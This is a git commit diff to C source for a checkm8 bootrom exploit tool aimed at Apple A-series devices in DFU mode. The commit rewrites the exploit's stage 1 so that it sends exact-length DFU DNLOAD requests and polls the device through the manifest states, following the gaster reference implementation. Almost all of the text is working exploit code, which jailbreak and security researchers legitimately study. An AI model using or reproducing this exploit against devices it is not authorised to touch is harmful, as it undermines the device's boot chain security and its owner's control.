fix(checkm8): run the DFU manifest cycle in stage 1
Stage 1 only did GETSTATUS + reset-to-idle, which on a fresh dfuIDLE entry is a no-op. The reference drives the state machine through DNLOAD(16), DNLOAD(0) and the MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET transition, then DNLOAD(64). Without the cycle the device can leave dfuIDLE on its own and the final control transfer returns NO_DEVICE. This keeps the existing stage order and adds no bus reset; it only makes the reset stage actually reach a known state.
This commit is contained in:
parent
1896733217
commit
7d65a2d2b9
1 changed files with 99 additions and 19 deletions
|
|
@ -272,10 +272,77 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev,
|
||||||
* usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */
|
* usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */
|
||||||
#define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */
|
#define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Stage 1 helpers.
|
||||||
|
*
|
||||||
|
* DFU state/request constants live in dfu_proto.h; the retry count and
|
||||||
|
* settle delay mirror the DFU_MAX_RETRIES / RESET_IDLE_RETRY_DELAY_USEC
|
||||||
|
* locals of dfu_proto.c, which are not exported.
|
||||||
|
*/
|
||||||
|
#define STAGE1_MANIFEST_RETRIES 10
|
||||||
|
#define STAGE1_MANIFEST_DELAY_USEC 20000
|
||||||
|
|
||||||
|
/*
|
||||||
|
* stage1_dnload_exact -- DFU_DNLOAD with an exact-length check.
|
||||||
|
*
|
||||||
|
* gaster's stage 1 requires the device to accept the full block (16 and
|
||||||
|
* 64 bytes). dfu_dnload() reports success for any non-negative return,
|
||||||
|
* so send the request directly and insist on the exact length.
|
||||||
|
*/
|
||||||
|
static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len)
|
||||||
|
{
|
||||||
|
uint8_t *buf = NULL;
|
||||||
|
int ret;
|
||||||
|
|
||||||
|
if (len > 0) {
|
||||||
|
buf = calloc(1, len);
|
||||||
|
if (!buf)
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 0x21 = host-to-device, class, interface (the DFU_BMRT_OUT value
|
||||||
|
* kept local to dfu_proto.c); timeout 5000 ms matches DFU_TIMEOUT. */
|
||||||
|
ret = usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0,
|
||||||
|
buf, len, 5000);
|
||||||
|
free(buf);
|
||||||
|
|
||||||
|
if (ret < 0) {
|
||||||
|
log_error("stage1_dnload_exact: DNLOAD(%u) failed: %s",
|
||||||
|
len, libusb_strerror(ret));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (ret != len) {
|
||||||
|
log_error("stage1_dnload_exact: DNLOAD(%u) accepted %d of %u bytes",
|
||||||
|
len, ret, len);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* dfu_wait_state -- poll GETSTATUS until the device reports the given
|
||||||
|
* state with DFU_STATUS_OK, mirroring gaster's dfu_check_status.
|
||||||
|
*/
|
||||||
|
static int dfu_wait_state(libusb_device_handle *usb, uint8_t state)
|
||||||
|
{
|
||||||
|
dfu_status_t st;
|
||||||
|
int attempt;
|
||||||
|
|
||||||
|
for (attempt = 0; attempt < STAGE1_MANIFEST_RETRIES; ++attempt) {
|
||||||
|
if (dfu_get_status(usb, &st) == 0 &&
|
||||||
|
st.bStatus == DFU_STATUS_OK && st.bState == state)
|
||||||
|
return 0;
|
||||||
|
usleep(STAGE1_MANIFEST_DELAY_USEC);
|
||||||
|
}
|
||||||
|
|
||||||
|
log_error("dfu_wait_state: device never reached state 0x%02X "
|
||||||
|
"(last 0x%02X)", state, st.bState);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
int checkm8_stage_reset(exploit_ctx_t *ctx)
|
int checkm8_stage_reset(exploit_ctx_t *ctx)
|
||||||
{
|
{
|
||||||
libusb_device_handle *usb;
|
libusb_device_handle *usb;
|
||||||
dfu_status_t status;
|
|
||||||
|
|
||||||
if (!ctx || !ctx->dev)
|
if (!ctx || !ctx->dev)
|
||||||
return -1;
|
return -1;
|
||||||
|
|
@ -284,31 +351,44 @@ int checkm8_stage_reset(exploit_ctx_t *ctx)
|
||||||
log_info("checkm8: stage 1/4 -- reset DFU state");
|
log_info("checkm8: stage 1/4 -- reset DFU state");
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* First: get the current device state so we know how much work to do.
|
* Reference sequence (gaster checkm8_stage_reset):
|
||||||
*
|
*
|
||||||
* If the device is already in dfuIDLE (fresh DFU entry) dfu_reset_to_idle
|
* 1. DNLOAD(DFU_FILE_SUFFIX_LEN) -- 16 bytes
|
||||||
* will return immediately. If it's stuck in dfuDNLOAD-IDLE, dfuError,
|
* 2. DNLOAD(0), then poll GETSTATUS through
|
||||||
* or dfuMANIFEST-WAIT-RESET from a previous attempt, dfu_reset_to_idle
|
* MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET
|
||||||
* will use ABORT + CLRSTATUS (no USB bus reset) to recover.
|
* 3. DNLOAD(EP0_MAX_PACKET_SZ) -- 64 bytes
|
||||||
*
|
*
|
||||||
* We intentionally do NOT call libusb_reset_device here: on Apple A-series
|
* The manifest cycle is not just cleanup. It drives the DFU state
|
||||||
* iBoot DFU, a USB bus reset via libusb is treated as a hard power-cycle
|
* machine to a known point and leaves 16- and 64-byte blocks free
|
||||||
* event, causing the device to reboot out of DFU mode entirely rather than
|
* for the stages that follow. Skipping it (only GETSTATUS + a
|
||||||
* returning to dfuIDLE. DFU protocol-level recovery is sufficient.
|
* reset to idle) left the device able to leave dfuIDLE on its own,
|
||||||
|
* which made the final control transfer return NO_DEVICE.
|
||||||
|
*
|
||||||
|
* No libusb bus reset here: on Apple A-series iBoot DFU a bus reset
|
||||||
|
* is a hard power-cycle event that reboots the device out of DFU.
|
||||||
|
* The manifest cycle is protocol-level only.
|
||||||
*/
|
*/
|
||||||
if (dfu_get_status(usb, &status) == 0) {
|
if (stage1_dnload_exact(usb, DFU_FILE_SUFFIX_LEN) != 0)
|
||||||
log_debug("checkm8_stage_reset: device state=0x%02X status=0x%02X",
|
goto fail;
|
||||||
status.bState, status.bStatus);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dfu_reset_to_idle(usb) != 0) {
|
if (stage1_dnload_exact(usb, 0) != 0)
|
||||||
log_error("checkm8_stage_reset: failed to reach dfuIDLE");
|
goto fail;
|
||||||
return -1;
|
|
||||||
}
|
if (dfu_wait_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 ||
|
||||||
|
dfu_wait_state(usb, DFU_STATE_MANIFEST) != 0 ||
|
||||||
|
dfu_wait_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0)
|
||||||
|
goto fail;
|
||||||
|
|
||||||
|
if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0)
|
||||||
|
goto fail;
|
||||||
|
|
||||||
ctx->phase = EXPLOIT_PHASE_RESET;
|
ctx->phase = EXPLOIT_PHASE_RESET;
|
||||||
log_info("checkm8: stage 1 complete -- DFU state reset to idle");
|
log_info("checkm8: stage 1 complete -- manifest cycle done");
|
||||||
return 0;
|
return 0;
|
||||||
|
|
||||||
|
fail:
|
||||||
|
dfu_clr_status(usb);
|
||||||
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue